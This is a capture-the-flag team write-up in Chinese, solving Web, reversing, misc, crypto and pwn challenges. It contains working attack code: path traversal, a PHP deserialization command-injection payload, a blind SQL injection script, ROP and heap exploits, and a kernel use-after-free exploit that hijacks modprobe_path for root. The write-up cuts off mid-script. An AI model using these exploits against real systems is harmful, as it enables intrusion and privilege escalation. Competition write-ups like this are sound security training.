Web

hinder

一开始提示无权限

权限绕过

image

<html>
<body>
<a id="" href="/a/../hinder/;jsessionid=3F8E46962DFDE5785A1A07285E91C2BB"></a>

<!-- /download.action?filename=hint -->
</body>
</html>

读proc/1/cmdline

image

发现run.sh

但是直接读读不出

image

直接拼run.sh发现可以读

image

#!/bin/sh

#echo $FLAG > /oh_u_f1nd_me
FLAG=not_here
export FLAG=not_here
/usr/local/tomcat/bin/catalina.sh run
http://web-644c218acb.challenge.xctf.org.cn/a/../hinder/download.action?filename=../../../../../oh_u_f1nd_me

image

flag{nkaeUqPWdFnCRfw3k4R8FdbgjpQDvLOw}

unserize

访问www.zip下载源码

image-20230721163716078

function.php里面有一个过滤器

image-20230721163827539

反序列化字符串逃逸,直接用a这个过滤器进行逃逸,b不用管他

root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:3:"pwd";O:7:"pull_it":1:{s:1:"x";s:2:"ls";}

image-20230721164155331

可以触发,接下来就是无字符的命令执行

root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:3:"pwd";O:7:"pull_it":1:{s:1:"x";s:21:"?><?=`/???/??? /*`;?>";}

短标签拼接然后用通配符 /???/???这个模拟/bin/cat cat根目录所有

image-20230721164412070

image-20230721164419014

hellosql

SQL注入,过滤了sleep,benchmark函数,然后这里就可以想到使用笛卡尔积进行运算延时,然后测试注入点发现为单引号闭合存在延时。

然后这里使用单引号闭合再使用#进行注释。中间就可以进行盲注了。直接使用脚本即可。

image-20230721164827001

image-20230721164811062

import time

import requests
from datetime import datetime

url = "http://web-1939c1eb66.challenge.xctf.org.cn/index.php"

result = ""
for i in range(1,100):
    head = 32
    tail = 126
    while head < tail:
        mid = (head + tail) >> 1
        #查数据库 ctf
        param = {
            "id": f"1' and ascii(substr(database(),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
        }
        #查表
        param = {
            "id": f"1' and ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
        }
        #查列  Flagg
        param = {
            "id": f"1' and ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flllag')),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
        }
        #Flagg 查数据
        param = {
            "id": f"1' and ascii(substr((select(group_concat(concat_ws(0x7e,Flagg)))from(ctf.Flllag)),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
        }
        start = int(datetime.now().timestamp() * 1000)
        resp = requests.get(url, params=param)
        # print(resp.text)
        end = int(datetime.now().timestamp() * 1000)
        if end - start > 300:
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

image-20230721165007322

RE

gore

一个魔改的upx加壳的程序

把文件的几个upx标志位修改回来 然后脱壳

脱壳后进入函数分细

首先是一个aes加密 然后是一个base64编码 但是换表了

最后是一个比较

其中密钥是通过动态调试取出来的 为wvgitbygwbk2b46d

写脚本 把base64字符串求出来

然后用cyberchef在线解密就可

cin = "aaaaaaaaaaaaaaaaaaaaaaaa="
print(len(cin))
enc=[    0xE6, 0xCE, 0x89, 0xC8, 0xCF, 0xC5, 0xF5, 0xC9, 0xD2, 0xD9, 
  0xC0, 0x91, 0xCE, 0x7F, 0xAC, 0xCC, 0xE9, 0xCF, 0xB7, 0xC0, 
  0x96, 0xD4, 0xEA, 0x92, 0xE2, 0xD7, 0xDF, 0x84, 0xCB, 0xA5, 
  0xAE, 0x93, 0xA6, 0xCA, 0xBE, 0x97, 0xDF, 0xCE, 0xF0, 0xC9, 
  0xB7, 0xE1, 0xAE, 0x6B, 0xC4, 0xB1, 0x65, 0xDB, 0xCE, 0xED, 
  0x92, 0x93, 0xD6, 0x8C, 0xED, 0xC3, 0xA3, 0xDA, 0x94, 0xA5, 
  0xAA, 0xB2, 0xB5, 0xA7, 0x55]
key=b"wvgitbygwbk2b46d"

base = ""
for i in range(len(enc)):
    base+=chr(((enc[i]-key[i%16])^0x1a) &0xff)
print(base)

# from Crypto.Cipher import AES
# aes = AES.new(b"wvgitbygwbk2b46d",mode=AES.MODE_ECB)

MISC

weclome

ZmxhZ3tQZWVrZ2Vla18xc19BX0dyM2E3X2VWZW43X2Ywcl9ldjNyeV9DVEZlcn0=
base64 
flag{Peekgeek_1s_A_Gr3a7_eVen7_f0r_ev3ry_CTFer}

found me

下载文件发现是个mini dump文件

strings find.DMP | grep "flag"
# Maybe you know the Netflix picture format? Hope this hint helps you. Search for more information to find the flag!

得到一个hint,搜索得知是avif文件,

strings /root/Desktop/find.DMP | grep "avif"
# ftypavif
# avifmif1miaf
# 发现有avif头

foremost -i /root/Desktop/find.DMP -T
# 分离文件,发现avif被分离入了mp4文件夹中,修改文件后缀即可看到含flag的图片
# flag在图片左下角

image.png
flag{Y0ung_Ju57_f0ward}

song

下载得到一个song,发现是个PPT文件,尝试补齐504b0304头和修改文件为zip即可查看文件目录
image.png
./docProcps/thumbnail.jpeg 目录下缩略图中包含了一个zip文件
image.png
image.png
根据password_hint进行解码

9iZ!r@n(9KAQV])<,6_K:,$L-<`N0U>'`J\@;A:f@X:pc;__<N;f->);/8c[<(K>S=u&Q<<C\oJA2-DK9l+cpAQMnd;/LD5=&s-8@T?rP;cdd':,$@!;_g1U<ARX#;)<$*;/J0E@P^bo;f-JGAQ3=t:/tFO@r$$s9gs:q@kgl'<`Lh:

base85
MUlBcFlieXNQTkxGN0lvVUV2ZzAzakE3bzRhS1VRSml0QkJ3THBSZ2FHUG5Wd1BRMlpzeWV0Qmt6WVlRbUdhSWlDN0hnS24zU3UyQ3lmQm50b3NjSmpJeTh1NUY1ckphMExEc1RtVU0=

base64
1IApYbysPNLF7IoUEvg03jA7o4aKUQJitBBwLpRgaGPnVwPQ2ZsyetBkzYYQmGaIiC7HgKn3Su2CyfBntoscJjIy8u5F5rJa0LDsTmUM

base62
2RDNc9KEuijpYDhs2tvvBYEfY9TqyXUr6q8KYQPgfYy8oCifz2nnmXeM6UHfJM1d6e6dKRTKKrRs2\

base58
4WXYNZ5AQHTJRL7FXC4ORJ4B4W6LDZMPUPSLXJD3FIVCUKRKFJ6Q====

base32
密码是常见弱口令{******}

./song./ppt./media 目录下有两张一样的图片,且只有冗余部分不同
image.png
分离出冗余部分,冗余部分为MAC头,为APE文件
使用DEEPSOUND 解码,其中根据弱口令推测密码为123456
image.png
解出password.txt,并进行Ook解码得到password
this_zip_password_is_QazWsx147!@#
使用QazWsx147!@#解压缩包得到flag

flag{lW9tUyrh8RzzvysrswAwY7MHR4mmbLSt}

Crypto

Simple_encryption

题目

from Crypto.Util.number import *
import gmpy2
import random
import binascii
from secret import flag

p = getStrongPrime(1024)
q = getStrongPrime(1024)
N = p * q
g, r1, r2 = [getRandomRange(1, N) for _ in range(3)]
g1 = pow(g, r1 * (p - 1), N)
g2 = pow(g, r2 * (q - 1), N)


def encrypt(m):
    s1, s2 = [getRandomRange(1, N) for _ in range(2)]
    c1 = (m * pow(g1, s1, N)) % N
    c2 = (m * pow(g2, s2, N)) % N
    print("c1=", c1)
    print("c2=", c2)
    return (c1, c2)


c = encrypt(bytes_to_long(flag[:len(flag) // 2]))
print('N=', N)
print('g1=', g1)


def pad(msg, length):
    l = len(msg)
    return msg + (length - l) * chr(length - l).encode('utf-8')


p = getStrongPrime(1024)
q = getStrongPrime(1024)
assert (p != q)
n = p * q
e = 5
d = inverse(e, (p - 1) * (q - 1))
assert (e * d % (p - 1) * (q - 1))

flag = pad(flag[len(flag) // 2:], 48)
m = [int(binascii.b2a_hex(flag[i * 16:i * 16 + 16]).decode('utf-8'), 16) for i in range(3)]
print('S=', sum(m) % n)
cnt = len(m)
A = [(i + 128) ** 2 for i in range(cnt)]
B = [(i + 1024) for i in range(cnt)]
C = [(i + 512) for i in range(cnt)]
Cs = [int(pow((A[i] * m[i] ** 2 + B[i] * m[i] + C[i]), e, n)) for i in range(cnt)]
print('N=', n)
print('e=', e)
print('Cs=', Cs)

'''
c1= 19024563955839349902897822692180949371550067644378624199902067434708278125346234824900117853598997270022872667319428613147809325929092749312310446754419305096891122211944442338664613779595641268298482084259741784281927857614814220279055840825157115551456554287395502655358453270843601870807174309121367449335110327991187235786798374254470758957844690258594070043388827157981964323699747450405814713722613265012947852856714100237325256114904705539465145676960232769502207049858752573601516773952294218843901330100257234517481221811887136295727396712894842769582824157206825592614684804626241036297918244781918275524254
c2= 11387447548457075057390997630590504043679006922775566653728699416828036980076318372839900947303061300878930517069527835771992393657157069014534366482903388936689298175411163666849237525549902527846826224853407226289495201341719277080550962118551001246017511651688883675152554449310329664415179464488725227120033786305900106544217117526923607211746947511746335071162308591288281572603417532523345271340113176743703809868369623401559713179927002634217140206608963086656140258643119596968929437114459557916757824682496866029297120246221557017875892921591955181714167913310050483382235498906247018171409256534124073270350
N= 21831630625212912450058787218272832615084640356500740162478776482071876178684642739065105728423872548532056206845637492058465613779973193354996353323494373418215019445325632104575415991984764454753263189235376127871742444636236132111097548997063091478794422370043984009615893441148901566420508196170556189546911391716595983110030778046242014896752388438535131806524968952947016059907135882390507706966746973544598457963945671064540465259211834751973065197550500334726779434679470160463944292619173904064826217284899341554269864669620477774678605962276256707036721407638013951236957603286867871199275024050690034901963
g1= 20303501619435729000675510820217420636246553663472832286487504757515586157679361170332171306491820918722752848685645096611030558245362578422584797889428493611704976472409942840368080016946977234874471779189922713887914075985648876516896823599078349725871578446532134614410886658001724864915073768678394238725788245439086601955497248593286832679485832319756671985505398841701463782272300202981842733576006152153012355980197830911700112001441621619417349747262257225469106511527467526286661082010163334100555372381681421874165851063816598907314117035131618062582953512203870615406642787786668571083042463072230605649134
S= 234626762558445335519229319778735528295
N= 28053749721930780797243137464055357921262616541619976645795810707701031602793034889886420385567169222962145128498131170577184276590698976531070900776293344109534005057067680663813430093397821366071365221453788763262381958185404224319153945950416725302184077952893435265051402645871699132910860011753502307815457636525137171681463817731190311682277171396235160056504317959832747279317829283601814707551094074778796108136141845755357784361312469124392408642823375413433759572121658646203123677327551421440655322226192031542368496829102050186550793124020718643243789525477209493783347317576783265671566724068427349961101
e= 5
Cs= [1693447496400753735762426750097282582203894511485112615865753001679557182840033040705025720548835476996498244081423052953952745813186793687790496086492136043098444304128963237489862776988389256298142843070384268907160020751319313970887199939345096232529143204442168808703063568295924663998456534264361495136412078324133263733409362366768460625508816378362979251599475109499727808021609000751360638976, 2240772849203381534975484679127982642973364801722576637731411892969654368457130801503103210570803728830063876118483596474389109772469014349453490395147031665061733965097301661933389406031214242680246638201663845183194937353509302694926811282026475913703306789097162693368337210584494881249909346643289510493724709324540062077619696056842225526183938442535866325407085768724148771697260859350213678910949, 5082341111246153817896279104775187112534431783418388292800705085458704665057344175657566751627976149342406406594179073777431676597641200321859622633948317181914562670909686170531929552301852027606377778515019377168677204310642500744387041601260593120417053741977533047412729373182842984761689443959266049421034949822673159561609487404082536872314636928727833394518122974630386280495027169465342976]
'''

解决

根据费马小定理可推得g1=kp

$$
g_{1}\equiv ~g^{r_{1}*(p-1) } ~(modp)\g_{1}\equiv ~1(modp)\g_{1}-1\equiv 0~(mod p)\g_{1}=kp
$$

我们直接gcd(g1,N)==p

然后恢复q,进而恢复m前半段

import gmpy2
from Crypto.Util.number import *
c1= 19024563955839349902897822692180949371550067644378624199902067434708278125346234824900117853598997270022872667319428613147809325929092749312310446754419305096891122211944442338664613779595641268298482084259741784281927857614814220279055840825157115551456554287395502655358453270843601870807174309121367449335110327991187235786798374254470758957844690258594070043388827157981964323699747450405814713722613265012947852856714100237325256114904705539465145676960232769502207049858752573601516773952294218843901330100257234517481221811887136295727396712894842769582824157206825592614684804626241036297918244781918275524254
c2= 11387447548457075057390997630590504043679006922775566653728699416828036980076318372839900947303061300878930517069527835771992393657157069014534366482903388936689298175411163666849237525549902527846826224853407226289495201341719277080550962118551001246017511651688883675152554449310329664415179464488725227120033786305900106544217117526923607211746947511746335071162308591288281572603417532523345271340113176743703809868369623401559713179927002634217140206608963086656140258643119596968929437114459557916757824682496866029297120246221557017875892921591955181714167913310050483382235498906247018171409256534124073270350
N= 21831630625212912450058787218272832615084640356500740162478776482071876178684642739065105728423872548532056206845637492058465613779973193354996353323494373418215019445325632104575415991984764454753263189235376127871742444636236132111097548997063091478794422370043984009615893441148901566420508196170556189546911391716595983110030778046242014896752388438535131806524968952947016059907135882390507706966746973544598457963945671064540465259211834751973065197550500334726779434679470160463944292619173904064826217284899341554269864669620477774678605962276256707036721407638013951236957603286867871199275024050690034901963
g1= 20303501619435729000675510820217420636246553663472832286487504757515586157679361170332171306491820918722752848685645096611030558245362578422584797889428493611704976472409942840368080016946977234874471779189922713887914075985648876516896823599078349725871578446532134614410886658001724864915073768678394238725788245439086601955497248593286832679485832319756671985505398841701463782272300202981842733576006152153012355980197830911700112001441621619417349747262257225469106511527467526286661082010163334100555372381681421874165851063816598907314117035131618062582953512203870615406642787786668571083042463072230605649134
p = (gmpy2.gcd(g1-1,N))
q=N//p
def decrypt(c1, c2):
    xp = c1 % p
    xq = c2 % q
    m = (xp*inverse(q, p)*q + xq*inverse(p, q)*p) % N
    return m
m = decrypt(c1,c2)
m=long_to_bytes(m)
# b'flag{f561fafb-32ce-9d'

第二段加密e=5,低加密恢复出M,分析出cnt=3,进而恢复出ABC三个的值

cnt=3
A = [(i + 128) ** 2 for i in range(cnt)]
B = [(i + 1024) for i in range(cnt)]
C = [(i + 512) for i in range(cnt)]
print(f"A={A}")
print(f"B={B}")
print(f"C={C}")
#A=[16384, 16641, 16900]
#B=[1024, 1025, 1026]
#C=[512, 513, 514]

把题目中已知关系进行解方程得到m的三个列表内的数值,设置为x,y,z放在sage里面解

# sage
A=[16384, 16641, 16900]
B=[1024, 1025, 1026]
C=[512, 513, 514]
M=[70105864201789081448341323173168814626290331977226399010985718339864141790250496, 295174996474963104919770605739942482686775346823742034261282804762108447183558389, 21938794596119327323920598114656453572273597393994712550717124961084111931664796]
S= 234626762558445335519229319778735528295
n=28053749721930780797243137464055357921262616541619976645795810707701031602793034889886420385567169222962145128498131170577184276590698976531070900776293344109534005057067680663813430093397821366071365221453788763262381958185404224319153945950416725302184077952893435265051402645871699132910860011753502307815457636525137171681463817731190311682277171396235160056504317959832747279317829283601814707551094074778796108136141845755357784361312469124392408642823375413433759572121658646203123677327551421440655322226192031542368496829102050186550793124020718643243789525477209493783347317576783265671566724068427349961101
x, y, z = var('x y z')
equation1 = A[0]*x**2+B[0]*x+C[0]==M[0]
equation2 = A[1]*y**2+B[1]*y+C[1]==M[1]
equation3 = A[2]*z**2+B[2]*z+C[2]==M[2]
equation4=x+y+z==S
solutions = solve((equation1, equation2, equation3), x, y, z)
for solution in solutions:
    print(solution)
# [x == 65413472431888815878902893901773169457, y == 133183392452574799979498526266539842331, z == 36029897673981719660827899610422516507]

将x,y,z整型转字节拼接就好了

总体代码

import gmpy2
from Crypto.Util.number import *
c1= 19024563955839349902897822692180949371550067644378624199902067434708278125346234824900117853598997270022872667319428613147809325929092749312310446754419305096891122211944442338664613779595641268298482084259741784281927857614814220279055840825157115551456554287395502655358453270843601870807174309121367449335110327991187235786798374254470758957844690258594070043388827157981964323699747450405814713722613265012947852856714100237325256114904705539465145676960232769502207049858752573601516773952294218843901330100257234517481221811887136295727396712894842769582824157206825592614684804626241036297918244781918275524254
c2= 11387447548457075057390997630590504043679006922775566653728699416828036980076318372839900947303061300878930517069527835771992393657157069014534366482903388936689298175411163666849237525549902527846826224853407226289495201341719277080550962118551001246017511651688883675152554449310329664415179464488725227120033786305900106544217117526923607211746947511746335071162308591288281572603417532523345271340113176743703809868369623401559713179927002634217140206608963086656140258643119596968929437114459557916757824682496866029297120246221557017875892921591955181714167913310050483382235498906247018171409256534124073270350
N= 21831630625212912450058787218272832615084640356500740162478776482071876178684642739065105728423872548532056206845637492058465613779973193354996353323494373418215019445325632104575415991984764454753263189235376127871742444636236132111097548997063091478794422370043984009615893441148901566420508196170556189546911391716595983110030778046242014896752388438535131806524968952947016059907135882390507706966746973544598457963945671064540465259211834751973065197550500334726779434679470160463944292619173904064826217284899341554269864669620477774678605962276256707036721407638013951236957603286867871199275024050690034901963
g1= 20303501619435729000675510820217420636246553663472832286487504757515586157679361170332171306491820918722752848685645096611030558245362578422584797889428493611704976472409942840368080016946977234874471779189922713887914075985648876516896823599078349725871578446532134614410886658001724864915073768678394238725788245439086601955497248593286832679485832319756671985505398841701463782272300202981842733576006152153012355980197830911700112001441621619417349747262257225469106511527467526286661082010163334100555372381681421874165851063816598907314117035131618062582953512203870615406642787786668571083042463072230605649134
p = (gmpy2.gcd(g1-1,N))
q=N//p
def decrypt(c1, c2):
    xp = c1 % p
    xq = c2 % q
    m = (xp*inverse(q, p)*q + xq*inverse(p, q)*p) % N
    return m
m = decrypt(c1,c2)
m=long_to_bytes(m)

N= 28053749721930780797243137464055357921262616541619976645795810707701031602793034889886420385567169222962145128498131170577184276590698976531070900776293344109534005057067680663813430093397821366071365221453788763262381958185404224319153945950416725302184077952893435265051402645871699132910860011753502307815457636525137171681463817731190311682277171396235160056504317959832747279317829283601814707551094074778796108136141845755357784361312469124392408642823375413433759572121658646203123677327551421440655322226192031542368496829102050186550793124020718643243789525477209493783347317576783265671566724068427349961101
e= 5
Cs= [1693447496400753735762426750097282582203894511485112615865753001679557182840033040705025720548835476996498244081423052953952745813186793687790496086492136043098444304128963237489862776988389256298142843070384268907160020751319313970887199939345096232529143204442168808703063568295924663998456534264361495136412078324133263733409362366768460625508816378362979251599475109499727808021609000751360638976, 2240772849203381534975484679127982642973364801722576637731411892969654368457130801503103210570803728830063876118483596474389109772469014349453490395147031665061733965097301661933389406031214242680246638201663845183194937353509302694926811282026475913703306789097162693368337210584494881249909346643289510493724709324540062077619696056842225526183938442535866325407085768724148771697260859350213678910949, 5082341111246153817896279104775187112534431783418388292800705085458704665057344175657566751627976149342406406594179073777431676597641200321859622633948317181914562670909686170531929552301852027606377778515019377168677204310642500744387041601260593120417053741977533047412729373182842984761689443959266049421034949822673159561609487404082536872314636928727833394518122974630386280495027169465342976]

M=[]

for i in range(len(Cs)):
    k = 0
    while True:
        m1=Cs[i]+k*N
        flag=gmpy2.iroot(m1,5)
        if flag[1]:
            M.append(int(flag[0]))
            break
        else:
            k+=1

x =65413472431888815878902893901773169457
y =133183392452574799979498526266539842331
z =36029897673981719660827899610422516507
x=long_to_bytes(x)
y=long_to_bytes(y)
z=long_to_bytes(z)
print(m+x+y+z)
# b'flag{f561fafb-32ce-9d16-18fa-ec795fc1d208}'

数学但高中

题目

x=4{0<y<6}

y=4{2<x<6,17<x<18,28<x<30,41<x<42}

y=6{4<x<6,15<x<16,17<x<19,41<x<43,50<x<51}

x=7{0<y<6}

(x-9)^2+(y-3)^2=1

x=10{2<y<3}

(x-12)^2+(y-3)^2=1

x=13{0<y<3}

y=0{11<x<13,15<x<16,50<x<51}

y=-x+17{14<x<15}

y=x-11{14<x<15}

x=15{0<y<2,4<y<6}

x=17{1<y<6}

x=19{3<y<4}

x=21{3<y<4}

(x-20)^2+(y-3)^2=1{2<y<3}

(x-23)^2+(y-3)^2=1{3<y<4}

x=22{2<y<3}

x=24{2<y<3}

(x-26)^2+(y-3)^2=1{25<x<26}

y=0.5x-11{26<x<27}

y=-0.5x+17{26<x<27}

y=2{29<x<30,31<x<33,39<x<40}

x=29{2<y<5}

x=32{2<y<5}

y=x-27{31<x<32}

(x-34)^2+((y-3.5)^2)/(1.5^2)=1

x=36{2<y<3}

(x-37)^2+(y-3)^2=1{3<y<4}

x=38{2<y<3}

x=41{2<y<6}

x=44{3<y<4}

(x-45)^2+(y-3)^2=1{2<y<3}

x=46{3<y<4}

x=47{2<y<3}

(x-48)^2+(y-3)^2=1{3<y<4}

x=49{2<y<3}

x=51{0<y<2,4<y<6}

y=x-49{51<x<52}

y=-x+55{51<x<52}

题解

在线网址绘图就行

Desmos | 图形计算器

微信图片_20230721170440

Pwn

linkmap

直接给了栈溢出

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  initial();
  read(0, buf, 0x100uLL);
  return 0LL;
}

题目保护开启了Full RELRO,所以不能直接使用dl2resolve

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

查看gadget,可以找到下面一个很好用的gadget,可以把got表的地址读取到data段上

0x000000000040066b: lea rdx, [rax + 0x601020]; mov rax, qword ptr [rbp - 8]; mov qword ptr [rdx], rax; nop; pop rbp; ret; 

利用脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote("pwn-f755a649e0.challenge.xctf.org.cn", 9999, ssl=True)

payload = flat([
    0x00000000004007e3,
    0,
    0x00000000004007e1,
    0x602000-0x100,
    0,
    0x4004E0,
  
    0x00000000004007e3,
    0x602000-0x100,
    0x00000000004007e1,
    0,
    0,
    0x0000000000400570,
    0x600FD8 + 8,

    0x000000000040066b,
    0x602000-0x100+0x20,

    0x000000000040076d,
])

sh.send((cyclic(0x18) + payload).ljust(0x100, b'\0'))
payload2 = flat([
    0x602000-0x800,
    0x000000000040066b,
    0,

    0x00000000004007e3,
    0,
    0x00000000004007e1,
    0x601120-(59-1),
    0,
    0x4004E0,

    0x00000000004007e3,
    0x602000-0x100,
    0x00000000004007e1,
    0,
    0,
    0x0000000000400570,
    0x601118,
    0x400772,
])
sh.send(b'/bin/sh'.ljust(0x20, b'\0') + payload2.ljust(0x100-0x20, b'\0'))

one_byte = p8(0x90)

sh.send(cyclic(59-1) + one_byte)

sh.interactive()

mmsg

UAF

int __fastcall module_open(inode *inode, file *file)
{
  printk(&unk_4D1);
  return 0;
}
int __fastcall module_close(inode *inode, file *file)
{
  kfree(mmsg_head_0, file);
  return 0;
}

利用代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/ioctl.h>

struct mmsg_arg {
        unsigned long token;
        int top;
        int size;
        char *data;
};

struct mmsg {
        unsigned int token;
        int size;
        char *data;
        void *next;
        void *prev;
};

#define MMSG_ALLOC 0x1111111
#define MMSG_COPY 0x2222222
#define MMSG_RECV 0x3333333
#define MMSG_UPDATE 0x4444444
#define MMSG_PUT_DESC 0x5555555
#define MMSG_GET_DESC 0x6666666

int mmsg_fd;
size_t kernel_base_addr, slab_addr;

void exp_modprobe_path()
{
    int exp_fd;
    char *child_args[] = {"/tmp/err", NULL, NULL};
    char buf[0x100] = {0};

    exp_fd = open("/tmp/x", O_WRONLY | O_CREAT | O_NOCTTY | O_NONBLOCK, 0755);
    write(exp_fd, "#!/bin/sh\n"
                  "mv /root/flag /flag\n"
                  "chmod 777 /flag\n",
          46);
    close(exp_fd);

    exp_fd = open("/tmp/err", O_WRONLY | O_CREAT | O_NOCTTY | O_NONBLOCK, 0755);
    write(exp_fd, "\0\0\0\0", 4);
    close(exp_fd);

    if (fork() == 0)
    {
        execve(child_args[0], child_args, child_args + 1);
        exit(EXIT_FAILURE);
    }
    if (wait(NULL) == -1)
    {
        perror("wait");
        exit(EXIT_FAILURE);
    }

    exp_fd = open("/flag", O_RDONLY);
    if (exp_fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
    read(exp_fd, buf, sizeof(buf));
    puts(buf);
}

int main()
{
    struct mmsg_arg args;
    struct mmsg *ptr;
    unsigned char buf[0x1000];
    int i;
    size_t result;
    int tmp_fd[0x10];
    pthread_t th;

    if((mmsg_fd = open("/dev/mmsg", O_RDWR)) == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    close(mmsg_fd);
    if(open("/proc/self/status", O_RDONLY) == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    if((mmsg_fd = open("/dev/mmsg", O_RDWR)) == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    args.data = buf;
    ioctl(mmsg_fd, MMSG_GET_DESC, &args);

    kernel_base_addr = *(size_t*)buf - 0x20fac0;
    printf("kernel_base_addr: 0x%lx\n", kernel_base_addr);

    ptr = (struct mmsg *)buf;
    ptr->token = 0x61626364;
    ptr->size = 0x100;
    ptr->data = NULL;
    args.data = buf;
    ioctl(mmsg_fd, MMSG_PUT_DESC, &args);

    args.data = buf;
    args.top = 1;
    args.size = 0x10;
    memset(buf, 0, sizeof(buf));
    ioctl(mmsg_fd, MMSG_UPDATE, &args);

    args.data = buf;
    ioctl(mmsg_fd, MMSG_GET_DESC, &args);
    slab_addr = *(size_t*)(buf + 8);
    printf("slab_addr: 0x%lx\n", slab_addr);

    ptr = (struct mmsg *)buf;
    ptr->token = 0x61626364;
    ptr->size = 0x100;
    ptr->data = (char*)slab_addr;
    args.data = buf;
    ioctl(mmsg_fd, MMSG_PUT_DESC, &args);

    args.data = buf;
    args.top = 1;
    args.size = 0x20;
    memset(buf, 0, sizeof(buf));
    ioctl(mmsg_fd, MMSG_UPDATE, &args);

    ptr = (struct mmsg *)buf;
    ptr->token = 0x61626364;
    ptr->size = 0x100;
    ptr->data = (char*)slab_addr;
    args.data = buf;
    ioctl(mmsg_fd, MMSG_PUT_DESC, &args);

    args.data = buf;
    args.top = 1;
    args.size = 0x10;
    *(size_t*)(buf+8) = kernel_base_addr + 0x164d0e0;
    ioctl(mmsg_fd, MMSG_UPDATE, &args);

    ptr = (struct mmsg *)buf;
    ptr->token = 0x61626364;
    ptr->size = 0x100;
    ptr->data = NULL;
    args.data = buf;
    ioctl(mmsg_fd, MMSG_PUT_DESC, &args);

    args.data = buf;
    args.top = 1;
    args.size = 0x10;
    memset(buf, 0, sizeof(buf));
    *(size_t*)(buf+8) = kernel_base_addr + 0x164d0e0;
    ioctl(mmsg_fd, MMSG_UPDATE, &args);

    ptr = (struct mmsg *)buf;
    ptr->token = 0x61626364;
    ptr->size = 0x100;
    ptr->data = NULL;
    args.data = buf;
    ioctl(mmsg_fd, MMSG_PUT_DESC, &args);

    args.data = buf;
    args.top = 1;
    args.size = 0x10;
    strcpy(buf, "/tmp/x");
    // getchar();
    ioctl(mmsg_fd, MMSG_UPDATE, &args);

    ptr = (struct mmsg *)buf;
    ptr->token = 0x61626364;
    ptr->size = 0x100;
    ptr->data = (char*)slab_addr;
    args.data = buf;
    ioctl(mmsg_fd, MMSG_PUT_DESC, &args);

    args.data = buf;
    args.top = 1;
    args.size = 0x20;
    memset(buf, 0, sizeof(buf));
    ioctl(mmsg_fd, MMSG_UPDATE, &args);

    ptr = (struct mmsg *)buf;
    ptr->token = 0x61626364;
    ptr->size = 0x100;
    ptr->data = (char*)slab_addr;
    args.data = buf;
    ioctl(mmsg_fd, MMSG_PUT_DESC, &args);

    args.data = buf;
    args.top = 1;
    args.size = 0x10;
    *(size_t*)(buf+8) = 0;
    ioctl(mmsg_fd, MMSG_UPDATE, &args);

    exp_modprobe_path();

    return 0;
}

darknote

存在整数溢出漏洞,例如:0x100000000/8

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  ...
/*
.text:0000000000401A76 B8 00 00 00 00                mov     eax, 0
.text:0000000000401A7B E8 49 FB FF FF                call    get_int
.text:0000000000401A7B
.text:0000000000401A80 89 05 42 28 00 00             mov     cs:amount, eax
.text:0000000000401A86 8B 05 3C 28 00 00             mov     eax, cs:amount
.text:0000000000401A8C C1 E0 03                      shl     eax, 3
.text:0000000000401A8F 48 98                         cdqe
.text:0000000000401A91 48 89 C7                      mov     rdi, rax                        ; size
.text:0000000000401A94 E8 77 F7 FF FF                call    _malloc
*/
  puts("How many dark notes do you want?");
  amount = get_int();
  ptr = (char **)malloc(8 * amount);
  memset(ptr, 0, 8 * amount);
  ...
}

利用脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote("pwn-05df932310.challenge.xctf.org.cn", 9999, ssl=True)
def add(index, note):
    sh.sendlineafter(b'>> ', b'1')
    sh.sendlineafter(b'Index: ', str(index).encode())
    sh.sendafter(b'Note: ', note)

sh.sendlineafter(b'want?\n', b'536936448')
add(318325, flat([0, 0x71, 0x404240]) + b'\n')
add(0, b'\n')
add(0, b'\0' * 0x10 + p64(0x403FB0)[:6] + b'\n')

sh.recvuntil(b'=\n')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x10dfc0
success('libc_addr: ' + hex(libc_addr))

add(318325, flat([0, 0x71, 0x404240]) + b'\n')
add(0, b'\n')
add(0, b'\0' * 0x10 + p64(libc_addr + 0x1ef600)[:6] + b'\n')

sh.recvuntil(b'=\n')
stack_addr = u64(sh.recvn(6) + b'\0\0') - 0
success('stack_addr: ' + hex(stack_addr))

print(hex(stack_addr - 0x70))
add(318325, flat([0, 0x71, stack_addr - 0x98]) + b'\n')
add(0, b'\n')
add(0, cyclic(24) + flat([
    libc_addr + 0x0000000000023b6a,
    stack_addr & (~0xfff),
    libc_addr + 0x000000000002601f,
    0x1000,
    libc_addr + 0x0000000000142c92,
    7,
    libc_addr + 0x0000000000036174,
    0x1a,
    0,
]) + b'\n')

shellcode = asm('''
    lea rsi, next[rip]
    mov edi, 0
    mov edx, 0x200
    mov eax, 0
    syscall
next:
''')
add(318325, flat([0, 0x71, stack_addr - 0x40]) + b'\n')
add(0, b'\n')
add(0, flat([
    libc_addr + 0x000000000009c272,
